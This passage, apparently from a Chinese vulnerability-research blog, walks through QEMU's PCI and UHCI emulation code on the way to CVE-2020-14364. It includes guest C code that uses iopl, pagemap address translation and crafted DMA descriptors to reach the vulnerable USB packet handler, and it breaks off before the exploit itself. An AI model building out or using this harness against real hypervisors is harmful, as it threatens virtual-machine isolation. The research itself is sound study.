0x01 前言 虚拟机逃逸,通过利用虚拟机程序本身存在的漏洞,我们可以控制虚拟机程序在宿主机上执行任意代码。虚拟机虚拟出各种设备给guest系统使用,这些虚拟设备只是虚拟机程序中的一个模块,如果这些设备存在漏洞,便可以利用起来进行逃逸。
0x02 PCI设备 结构 不管是虚拟设备还是实体硬件设备,都是遵循了设备的定义规范的,PCI设备的内存布局如下 注册一个设备,事实上就是将这样的内存布局初始化完成。在qemu中,硬件的初始化是从pc_init1
函数开始的,并且PIC总线也是在这里开始初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 /* PC hardware initialisation */ static void pc_init1(MachineState *machine, const char *host_type, const char *pci_type) { PCMachineClass *pcmc = PC_MACHINE_GET_CLASS(pcms); .......... if (pcmc->pci_enabled) { //pci总线可用 PIIX3State *piix3; pci_bus = i440fx_init(host_type, pci_type, &i440fx_state, system_memory, system_io, machine->ram_size, x86ms->below_4g_mem_size, x86ms->above_4g_mem_size, pci_memory, ram_memory); pcms->bus = pci_bus; piix3 = piix3_create(pci_bus, &isa_bus); piix3->pic = x86ms->gsi; piix3_devfn = piix3->dev.devfn; } else { //ISA总线 .........
可见qemu使用的主板型号是i440fx
,在i440fx_init函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 PCIBus *i440fx_init(const char *host_type, const char *pci_type, PCII440FXState **pi440fx_state, MemoryRegion *address_space_mem, MemoryRegion *address_space_io, ram_addr_t ram_size, ram_addr_t below_4g_mem_size, ram_addr_t above_4g_mem_size, MemoryRegion *pci_address_space, MemoryRegion *ram_memory) { DeviceState *dev; PCIBus *b; PCIDevice *d; PCIHostState *s; PCII440FXState *f; unsigned i; I440FXState *i440fx; dev = qdev_new(host_type); //创建PIC主总线设备 s = PCI_HOST_BRIDGE(dev); b = pci_root_bus_new(dev, NULL, pci_address_space, address_space_io, 0, TYPE_PCI_BUS); //创建PIC总线 s->bus = b;
有了PIC总线以后,就可以将多种PIC设备挂到这个总线设备上了,每个PIC设备以一个模块的形式存在,qemu在启动时会根据启动参数去加载对应的模块。在qemu中,初始化函数通过调用pci_qdev_register
函数将设备挂到PCI总线上。并通过module_init
将初始化函数添加到设备候选列表中以供qemu启动参数选择设备。 PCI设备的结构实例可以通过查看文件/sys/devices/pci0000:00/0000:XX:YY.Z/resource
,其中XX为PCI总线号,YY为PCI设备号,Z为PCI功能号,每条总线最多可以挂载32个设备,每个设备最多提供8个功能。 可以通过lspci -k
命令来查看系统中当前的PCI设备。
1 2 3 4 5 6 7 8 / # lspci -k 00:01.2 Class 0c03: 8086:7020 uhci_hcd 00:01.0 Class 0601: 8086:7000 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 ata_piix 00:02.0 Class 0300: 1234:1111
以uhci_hcd
这个设备为例,其设备资源路径为/sys/devices/pci0000:00/0000:00:01.2/
1 2 3 4 5 6 7 8 9 10 11 / # ls /sys/devices/pci0000:00/0000:00:01.2/ ari_enabled enable rescan broken_parity_status irq resource class local_cpulist resource4 config local_cpus revision consistent_dma_mask_bits modalias subsystem d3cold_allowed msi_bus subsystem_device device numa_node subsystem_vendor dma_mask_bits pools uevent driver power usb1 driver_override remove vendor
其中的config文件对应了前面的PCI结构图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 / # xxd -g 1 /sys/devices/pci0000:00/0000:00:01.2/config 00000000: 86 80 20 70 07 01 00 00 01 00 03 0c 00 00 00 00 .. p............ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 41 c0 00 00 00 00 00 00 00 00 00 00 f4 1a 00 11 A............... 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 0b 04 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 10 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000c0: 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 . .............. 000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
从结构空间上来看,每个PCI设备最多允许6个Base Address Register
,每个BAR记录了该设备映射的一段地址空间,当最后1bit为0时,代表这这映射的是IO内存
当最后1bit为1时,代表这映射的是IO端口
从数据中可以知道,改设备注册了一个BAR,其下标为4,类型为IO端口
,并且可以看到在设备目录下存在一个resource4文件与之对应。 同时,我们可以通过查看resource文件获得当前设备所有的BAR对应资源的起始地址、结束地址、flags
/ # cat /sys/devices/pci0000:00/0000:00:01.2/resource 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x000000000000c040 0x000000000000c05f 0x0000000000040101 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
我们可以知道这个设备的IO端口地址为0x000000000000c040
MMIO 当一个BAR的资源类型为IO内存
时,我们可以使用mmap去映射这段内存,然后就可以通过向这段内存写入或读取数据,来与设备进行交互。
1 2 3 4 5 6 7 int mmio_fd = open("/sys/devices/pci0000:00/0000:XX:YY.Z/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed");
PMIO 当一个BAR的资源类型为IO端口
时,我们需要使用指令in
和out
来向端口地址处读取或写入来进行交互。
1 2 3 4 5 6 7 8 9 10 11 uint32_t pmio_port = 0xc040; uint32_t pmio_write(uint32_t addr, uint32_t value) { outl(value,pmio_port+addr); } uint32_t pmio_read(uint32_t addr) { return (uint32_t)inl(pmio_port+addr); }
0x03 UHCI(Universal Host Controller Interface) UHCI是Intel主导的对USB1.0、1.1的接口标准,UHCI是比较老的标准,新的标准有EHCI对应USB2.0,XHCI对应USB3.0,每个标准都有一个对应的硬件控制器,并且属于PCI设备,在qemu中也有对应的实现。在hcd-uhci.c中,首先是将设备注册函数添加到全局设备表中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static void uhci_register_types(void) { TypeInfo uhci_type_info = { .parent = TYPE_UHCI, .class_init = uhci_data_class_init, }; int i; type_register_static(&uhci_pci_type_info); for (i = 0; i < ARRAY_SIZE(uhci_info); i++) { uhci_type_info.name = uhci_info[i].name; uhci_type_info.class_data = uhci_info + i; type_register(&uhci_type_info); } } type_init(uhci_register_types)
该设备的初始化函数为uhci_data_class_init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 void uhci_data_class_init(ObjectClass *klass, void *data) { PCIDeviceClass *k = PCI_DEVICE_CLASS(klass); DeviceClass *dc = DEVICE_CLASS(klass); UHCIPCIDeviceClass *u = container_of(k, UHCIPCIDeviceClass, parent_class); UHCIInfo *info = data; k->realize = info->realize ? info->realize : usb_uhci_common_realize; k->exit = info->unplug ? usb_uhci_exit : NULL; k->vendor_id = info->vendor_id; k->device_id = info->device_id; k->revision = info->revision; if (!info->unplug) { /* uhci controllers in companion setups can't be hotplugged */ dc->hotpluggable = false; device_class_set_props(dc, uhci_properties_companion); } else { device_class_set_props(dc, uhci_properties_standalone); } if (info->notuser) { dc->user_creatable = false; } u->info = *info; }
该函数初始化PCI设备的一些基本信息,然后k->realize
函数将在设备进行实例化时被调用,其中usb_uhci_common_realize
函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 void usb_uhci_common_realize(PCIDevice *dev, Error **errp) { Error *err = NULL; PCIDeviceClass *pc = PCI_DEVICE_GET_CLASS(dev); UHCIPCIDeviceClass *u = container_of(pc, UHCIPCIDeviceClass, parent_class); UHCIState *s = UHCI(dev); uint8_t *pci_conf = s->dev.config; int i; pci_conf[PCI_CLASS_PROG] = 0x00; /* TODO: reset value should be 0. */ pci_conf[USB_SBRN] = USB_RELEASE_1; /* release number */ pci_config_set_interrupt_pin(pci_conf, u->info.irq_pin + 1); s->irq = pci_allocate_irq(dev); if (s->masterbus) { USBPort *ports[NB_PORTS]; for(i = 0; i < NB_PORTS; i++) { ports[i] = &s->ports[i].port; } usb_register_companion(s->masterbus, ports, NB_PORTS, s->firstport, s, &uhci_port_ops, USB_SPEED_MASK_LOW | USB_SPEED_MASK_FULL, &err); if (err) { error_propagate(errp, err); return; } } else { usb_bus_new(&s->bus, sizeof(s->bus), &uhci_bus_ops, DEVICE(dev)); for (i = 0; i < NB_PORTS; i++) { usb_register_port(&s->bus, &s->ports[i].port, s, i, &uhci_port_ops, USB_SPEED_MASK_LOW | USB_SPEED_MASK_FULL); } } s->bh = qemu_bh_new(uhci_bh, s); s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, uhci_frame_timer, s); s->num_ports_vmstate = NB_PORTS; QTAILQ_INIT(&s->queues); memory_region_init_io(&s->io_bar, OBJECT(s), &uhci_ioport_ops, s, "uhci", 0x20); /* Use region 4 for consistency with real hardware. BSD guests seem to rely on this. */ pci_register_bar(&s->dev, 4, PCI_BASE_ADDRESS_SPACE_IO, &s->io_bar); }
其中s->frame_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, uhci_frame_timer, s);
注册了一个定时任务,memory_region_init_io(&s->io_bar, OBJECT(s), &uhci_ioport_ops, s,"uhci", 0x20);
注册了一个IO端口,其大小为0x20字节,通过pci_register_bar(&s->dev, 4, PCI_BASE_ADDRESS_SPACE_IO, &s->io_bar);
注册设备BAR,其下标为4。 IO操作注册表uhci_ioport_ops
1 2 3 4 5 6 7 8 9 static const MemoryRegionOps uhci_ioport_ops = { .read = uhci_port_read, .write = uhci_port_write, .valid.min_access_size = 1, .valid.max_access_size = 4, .impl.min_access_size = 2, .impl.max_access_size = 2, .endianness = DEVICE_LITTLE_ENDIAN, };
有两个操作,read和write,分别可以使用out和in指令来进行触发。 其中uhci_port_read
读取当前设备的一些状态,addr
的值是使用IO时传入的地址相对于该设备基址IO
的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 static uint64_t uhci_port_read(void *opaque, hwaddr addr, unsigned size) { UHCIState *s = opaque; uint32_t val; switch(addr) { case 0x00: val = s->cmd; break; case 0x02: val = s->status; break; case 0x04: val = s->intr; break; case 0x06: val = s->frnum; break; case 0x08: val = s->fl_base_addr & 0xffff; break; case 0x0a: val = (s->fl_base_addr >> 16) & 0xffff; break; case 0x0c: val = s->sof_timing; break; case 0x10 ... 0x1f: { UHCIPort *port; int n; n = (addr >> 1) & 7; if (n >= NB_PORTS) goto read_default; port = &s->ports[n]; val = port->ctrl; } break; default: read_default: val = 0xff7f; /* disabled port */ break; } trace_usb_uhci_mmio_readw(addr, val); return val; }
同理uhci_port_write
向设备写入一些数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 static void uhci_port_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { UHCIState *s = opaque; trace_usb_uhci_mmio_writew(addr, val); switch(addr) { case 0x00: if ((val & UHCI_CMD_RS) && !(s->cmd & UHCI_CMD_RS)) { /* start frame processing */ trace_usb_uhci_schedule_start(); s->expire_time = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + (NANOSECONDS_PER_SECOND / FRAME_TIMER_FREQ); timer_mod(s->frame_timer, s->expire_time); s->status &= ~UHCI_STS_HCHALTED; } else if (!(val & UHCI_CMD_RS)) { s->status |= UHCI_STS_HCHALTED; } if (val & UHCI_CMD_GRESET) { UHCIPort *port; int i; /* send reset on the USB bus */ for(i = 0; i < NB_PORTS; i++) { port = &s->ports[i]; usb_device_reset(port->port.dev); } uhci_reset(DEVICE(s)); return; } if (val & UHCI_CMD_HCRESET) { uhci_reset(DEVICE(s)); return; } s->cmd = val; if (val & UHCI_CMD_EGSM) { if ((s->ports[0].ctrl & UHCI_PORT_RD) || (s->ports[1].ctrl & UHCI_PORT_RD)) { uhci_resume(s); } } break; case 0x02: s->status &= ~val; /* XXX: the chip spec is not coherent, so we add a hidden register to distinguish between IOC and SPD */ if (val & UHCI_STS_USBINT) s->status2 = 0; uhci_update_irq(s); break; case 0x04: s->intr = val; uhci_update_irq(s); break; case 0x06: if (s->status & UHCI_STS_HCHALTED) s->frnum = val & 0x7ff; break; case 0x08: s->fl_base_addr &= 0xffff0000; s->fl_base_addr |= val & ~0xfff; break; case 0x0a: s->fl_base_addr &= 0x0000ffff; s->fl_base_addr |= (val << 16); break; case 0x0c: s->sof_timing = val & 0xff; break; case 0x10 ... 0x1f: { UHCIPort *port; USBDevice *dev; int n; n = (addr >> 1) & 7; if (n >= NB_PORTS) return; port = &s->ports[n]; dev = port->port.dev; if (dev && dev->attached) { /* port reset */ if ( (val & UHCI_PORT_RESET) && !(port->ctrl & UHCI_PORT_RESET) ) { usb_device_reset(dev); } } port->ctrl &= UHCI_PORT_READ_ONLY; /* enabled may only be set if a device is connected */ if (!(port->ctrl & UHCI_PORT_CCS)) { val &= ~UHCI_PORT_EN; } port->ctrl |= (val & ~UHCI_PORT_READ_ONLY); /* some bits are reset when a '1' is written to them */ port->ctrl &= ~(val & UHCI_PORT_WRITE_CLEAR); } break; } }
其中看到case 0x00
时如果条件满足,会将计时器时间设为时间到,这样会触发之前注册的定时任务函数uhci_frame_timer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static void uhci_frame_timer(void *opaque) { UHCIState *s = opaque; ........ for (i = 0; i < frames; i++) { s->frame_bytes = 0; trace_usb_uhci_frame_start(s->frnum); uhci_async_validate_begin(s); uhci_process_frame(s); uhci_async_validate_end(s); /* The spec says frnum is the frame currently being processed, and * the guest must look at frnum - 1 on interrupt, so inc frnum now */ s->frnum = (s->frnum + 1) & 0x7ff; s->expire_time += frame_t; } ......... }
在该函数中,会调用uhci_process_frame
函数处理当前累计需要传送的帧的数据,uhci_process_frame
函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 static void uhci_process_frame(UHCIState *s) { uint32_t frame_addr, link, old_td_ctrl, val, int_mask; uint32_t curr_qh, td_count = 0; int cnt, ret; UHCI_TD td; UHCI_QH qh; QhDb qhdb; frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2); pci_dma_read(&s->dev, frame_addr, &link, 4); le32_to_cpus(&link); ......... /* TD */ uhci_read_td(s, &td, link); trace_usb_uhci_td_load(curr_qh & ~0xf, link & ~0xf, td.ctrl, td.token); old_td_ctrl = td.ctrl; ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask); .......... }
这里从物理地址处先读入一个地址link,然后将link当作物理地址,从中读取一个td
结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct UHCI_TD { uint32_t link; uint32_t ctrl; /* see TD_CTRL_xxx */ uint32_t token; uint32_t buffer; } UHCI_TD; static void uhci_read_td(UHCIState *s, UHCI_TD *td, uint32_t link) { pci_dma_read(&s->dev, link & ~0xf, td, sizeof(*td)); le32_to_cpus(&td->link); le32_to_cpus(&td->ctrl); le32_to_cpus(&td->token); le32_to_cpus(&td->buffer); }
然后td结构体会被传入uhci_handle_td
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr, UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask) { int ret, max_len; bool spd; bool queuing = (q != NULL); uint8_t pid = td->token & 0xff; UHCIAsync *async; .......... /* Is active ? */ if (!(td->ctrl & TD_CTRL_ACTIVE)) { if (async) { /* Guest marked a pending td non-active, cancel the queue */ uhci_queue_free(async->queue, "pending td non-active"); } /* * ehci11d spec page 22: "Even if the Active bit in the TD is already * cleared when the TD is fetched ... an IOC interrupt is generated" */ if (td->ctrl & TD_CTRL_IOC) { *int_mask |= 0x01; } return TD_RESULT_NEXT_QH; } switch (pid) { case USB_TOKEN_OUT: case USB_TOKEN_SETUP: case USB_TOKEN_IN: break; default: /* invalid pid : frame interrupted */ s->status |= UHCI_STS_HCPERR; s->cmd &= ~UHCI_CMD_RS; uhci_update_irq(s); return TD_RESULT_STOP_FRAME; } ............. switch(pid) { case USB_TOKEN_OUT: case USB_TOKEN_SETUP: pci_dma_read(&s->dev, td->buffer, async->buf, max_len); usb_handle_packet(q->ep->dev, &async->packet); if (async->packet.status == USB_RET_SUCCESS) { async->packet.actual_length = max_len; } break; case USB_TOKEN_IN: usb_handle_packet(q->ep->dev, &async->packet); break; default: abort(); /* Never to execute */ } if (async->packet.status == USB_RET_ASYNC) { uhci_async_link(async); if (!queuing) { uhci_queue_fill(q, td); } return TD_RESULT_ASYNC_START; } ....... }
uhci_handle_td会根据传入的td结构体里对应的td->token
,做出相应的动作,如果是USB_TOKEN_IN
或者USB_TOKEN_OUT
、USB_TOKEN_SETUP
的话,会调用usb_handle_packet
函数,然后usb_handle_packet
会调用usb_process_one
函数,最终完成对USB设备的数据读取。从整个流程下来看,要进入最终的数据交换函数,我们构造如下的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/io.h> #define PFN_MASK ((((size_t)1)<<54)-1) #define UHCI_BASE 0xc040 #define UHCI_CMD_HCRESET (1 << 1) #define UHCI_CMD_RS (1 << 0) #define UHCI_PORT_RESET (1 << 9) #define UHCI_PORT_EN (1 << 2) //enable #define UHCI_PORT_CCS (1 << 0) #define TD_CTRL_ACTIVE (1 << 23) typedef struct UHCI_TD { uint32_t link; uint32_t ctrl; /* see TD_CTRL_xxx */ uint32_t token; uint32_t buffer; } UHCI_TD; struct UHCI_TD * td; uint32_t *td_phy_addr_in_any_frame; char *dmabuf; unsigned char *data_buf; char *setup_buf; void die(char *msg) { perror(msg); exit(-1); } /*向设备写入数据*/ void pmio_write(uint32_t addr,uint32_t val) { outl(val,UHCI_BASE + addr); } /*从UHCI读取数据*/ uint32_t pmio_read(uint32_t addr) { return (uint32_t)inl(UHCI_BASE + addr); } //虚拟地址转换为物理地址 size_t get_phys_addr(void *vir_addr) { int fd = open("/proc/self/pagemap", O_RDONLY); /*打开页映射表*/ if (fd == -1) { die("open pagemap error"); } size_t vir = (size_t)vir_addr; // /0x1000获得是第n页的这个n,由于一个记录数据8字节,因此*8,算的的就是该页在文件里的记录的偏移 size_t offset = vir / 0x1000 * 8; if (lseek(fd,offset,SEEK_SET) == -1) { die("lseek pagemap error"); } size_t addr; if (read(fd,&addr,8) != 8) { die("read pagemap error"); } addr = (addr & PFN_MASK) * 0x1000 + vir % 0x1000; return addr; } void init() { /* 映射一块dmabufs 也就是dma模式的读写,读写的数据都在这块内存上*/ dmabuf = mmap(0, 0x6000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (dmabuf == MAP_FAILED) die("mmap"); /* 上锁,防止被调度 */ mlock(dmabuf, 0x6000); td = (UHCI_TD *)dmabuf; td_phy_addr_in_any_frame = (uint32_t *)(dmabuf + 0x100); setup_buf = dmabuf + 0x300; data_buf = dmabuf + 0x1000; } void set_UHCIState() { //清空UHCI之前的状态,这样我们在下一次就可以触发定时任务了 pmio_write(0,UHCI_CMD_HCRESET); //初始化USB端口 for(int i=0x10;i <= 0x1f;i++) pmio_write(i, UHCI_PORT_CCS | UHCI_PORT_RESET | UHCI_PORT_EN); uint32_t td_phy_addr = get_phys_addr(td); *td_phy_addr_in_any_frame = td_phy_addr; //pmio_write(6, 0); //设置s->frnum为0 pmio_write(8, td_phy_addr); //设置s->fl_base_addr为td结构体的物理地址 pmio_write(0, UHCI_CMD_RS); sleep(1); } int main() { init(); //申请IO权限 iopl(3); set_UHCIState(); }
在set_UHCIState
中,第一行pmio_write(0,UHCI_CMD_HCRESET)
首先清空UHCI的状态,这样最后一行的pmio_write(0, UHCI_CMD_RS)
就可以触发进入uhci_process_frame
函数,第二行要先将所有的USB端口状态重置,并且使能。这因为在uhci_handle_td
函数中会调用uhci_find_device
函数去查找已挂载的USB设备
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr, UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask) { ................... /* Allocate new packet */ if (q == NULL) { USBDevice *dev; USBEndpoint *ep; dev = uhci_find_device(s, (td->token >> 8) & 0x7f); if (dev == NULL) { return uhci_handle_td_error(s, td, td_addr, USB_RET_NODEV, int_mask); } ep = usb_ep_get(dev, pid, (td->token >> 15) & 0xf); q = uhci_queue_new(s, qh_addr, td, ep); } ....................
而uhci_find_device
函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static USBDevice *uhci_find_device(UHCIState *s, uint8_t addr) { USBDevice *dev; int i; for (i = 0; i < NB_PORTS; i++) { UHCIPort *port = &s->ports[i]; if (!(port->ctrl & UHCI_PORT_EN)) { continue; } dev = usb_find_device(&port->port, addr); if (dev != NULL) { return dev; } } return NULL; }
需要有UHCI_PORT_EN
使能标志,否则uhci_find_device
将返回NULL。那么返回上一个函数时,将进入uhci_handle_td_error
函数 uhci_handle_td_error函数如下
1 2 3 4 5 6 7 8 9 10 11 12 static int uhci_handle_td_error(UHCIState *s, UHCI_TD *td, uint32_t td_addr, int status, uint32_t *int_mask) { ..................... td->ctrl &= ~TD_CTRL_ACTIVE; s->status |= UHCI_STS_USBERR; if (td->ctrl & TD_CTRL_IOC) { *int_mask |= 0x01; } uhci_update_irq(s); return ret; }
该函数会将td->ctrl
中的TD_CTRL_ACTIVE
标志清除掉,并且在返回到uhci_process_frame
函数时,由于td->ctrl
发生变化,将会通过DMA
的方式将变化后的内容重新写回到我们传入到数据中。
1 2 3 4 5 6 7 8 9 10 11 static void uhci_process_frame(UHCIState *s) { ............... old_td_ctrl = td.ctrl; ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask); if (old_td_ctrl != td.ctrl) { /* update the status bits of the TD */ val = cpu_to_le32(td.ctrl); pci_dma_write(&s->dev, (link & ~0xf) + 4, &val, sizeof(val)); } ..............
这将导致下一次进入uhci_handle_td
函数时,不满足条件而直接返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 static int uhci_handle_td(UHCIState *s, UHCIQueue *q, uint32_t qh_addr, UHCI_TD *td, uint32_t td_addr, uint32_t *int_mask) { .......... /* Is active ? */ if (!(td->ctrl & TD_CTRL_ACTIVE)) { if (async) { /* Guest marked a pending td non-active, cancel the queue */ uhci_queue_free(async->queue, "pending td non-active"); } /* * ehci11d spec page 22: "Even if the Active bit in the TD is already * cleared when the TD is fetched ... an IOC interrupt is generated" */ if (td->ctrl & TD_CTRL_IOC) { *int_mask |= 0x01; } return TD_RESULT_NEXT_QH; }
因此USB端口的初始化是必要的。接下来,由于frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2);
,因此s->fl_base_addr
必须设置,而s->frnum
是一个递增的变量,代表当前的frame
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static void uhci_frame_timer(void *opaque) { ............. for (i = 0; i < frames; i++) { s->frame_bytes = 0; trace_usb_uhci_frame_start(s->frnum); uhci_async_validate_begin(s); uhci_process_frame(s); uhci_async_validate_end(s); /* The spec says frnum is the frame currently being processed, and * the guest must look at frnum - 1 on interrupt, so inc frnum now */ s->frnum = (s->frnum + 1) & 0x7ff; s->expire_time += frame_t; } ........... } static void uhci_process_frame(UHCIState *s) { uint32_t frame_addr, link, old_td_ctrl, val, int_mask; uint32_t curr_qh, td_count = 0; int cnt, ret; UHCI_TD td; UHCI_QH qh; QhDb qhdb; frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2); pci_dma_read(&s->dev, frame_addr, &link, 4); .................... /* TD */ uhci_read_td(s, &td, link); trace_usb_uhci_td_load(curr_qh & ~0xf, link & ~0xf, td.ctrl, td.token); old_td_ctrl = td.ctrl; ret = uhci_handle_td(s, NULL, curr_qh, &td, link, &int_mask); .............
且s->frnum
的值是从0到0x7ff递增的,只要我们在任何一个s->frnum对应的位置即frame_addr = s->fl_base_addr + ((s->frnum & 0x3ff) << 2)
处布置下一个数据,这个数据将被读入到link变量中pci_dma_read(&s->dev, frame_addr, &link, 4)
。在这里我们选择了dmabuf + 0x100
的位置,同时s->fl_base_addr
也设置为了td
的物理地址。并且由于我们的td就位于dmabuf的开头
1 2 3 4 td_phy_addr_in_any_frame = (uint32_t *)(dmabuf + 0x100); uint32_t td_phy_addr = get_phys_addr(td); *td_phy_addr_in_any_frame = td_phy_addr; pmio_write(8, td_phy_addr); //设置s->fl_base_addr为td结构体的物理地址
那么当((s->frnum & 0x3ff) << 2 == 0x100
,即0x40时,pci_dma_read(&s->dev, frame_addr, &link, 4)
读取到的就是dmabuf + 0x100
,即读取到了td的物理地址。于是uhci_read_td(s, &td, link);
从这个物理地址处取出出了td的结构体,然后传递给uhci_handle_td
进行处理。
0x04 USB数据包处理漏洞(CVE-2020-14364) 在上述的操作后,我们只需要设置好td结构体里对应的内容,就可以进行USB的读写操作了。usb_handle_packet函数处理一个USB数据包,位于源文件hw/usb/core.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 /* Hand over a packet to a device for processing. p->status == USB_RET_ASYNC indicates the processing isn't finished yet, the driver will call usb_packet_complete() when done processing it. */ void usb_handle_packet(USBDevice *dev, USBPacket *p) { if (dev == NULL) { p->status = USB_RET_NODEV; return; } assert(dev == p->ep->dev); assert(dev->state == USB_STATE_DEFAULT); usb_packet_check_state(p, USB_PACKET_SETUP); assert(p->ep != NULL); /* Submitting a new packet clears halt */ if (p->ep->halted) { assert(QTAILQ_EMPTY(&p->ep->queue)); p->ep->halted = false; } if (QTAILQ_EMPTY(&p->ep->queue) || p->ep->pipeline || p->stream) { usb_process_one(p); if (p->status == USB_RET_ASYNC) { /* hcd drivers cannot handle async for isoc */ assert(p->ep->type != USB_ENDPOINT_XFER_ISOC); /* using async for interrupt packets breaks migration */ assert(p->ep->type != USB_ENDPOINT_XFER_INT || (dev->flags & (1 << USB_DEV_FLAG_IS_HOST))); usb_packet_set_state(p, USB_PACKET_ASYNC); QTAILQ_INSERT_TAIL(&p->ep->queue, p, queue); } else if (p->status == USB_RET_ADD_TO_QUEUE) { usb_queue_one(p); } else { /* * When pipelining is enabled usb-devices must always return async, * otherwise packets can complete out of order! */ assert(p->stream || !p->ep->pipeline || QTAILQ_EMPTY(&p->ep->queue)); if (p->status != USB_RET_NAK) { usb_pcap_data(p, false); usb_packet_set_state(p, USB_PACKET_COMPLETE); } } } else { usb_queue_one(p); } }
其主要调用了usb_process_one
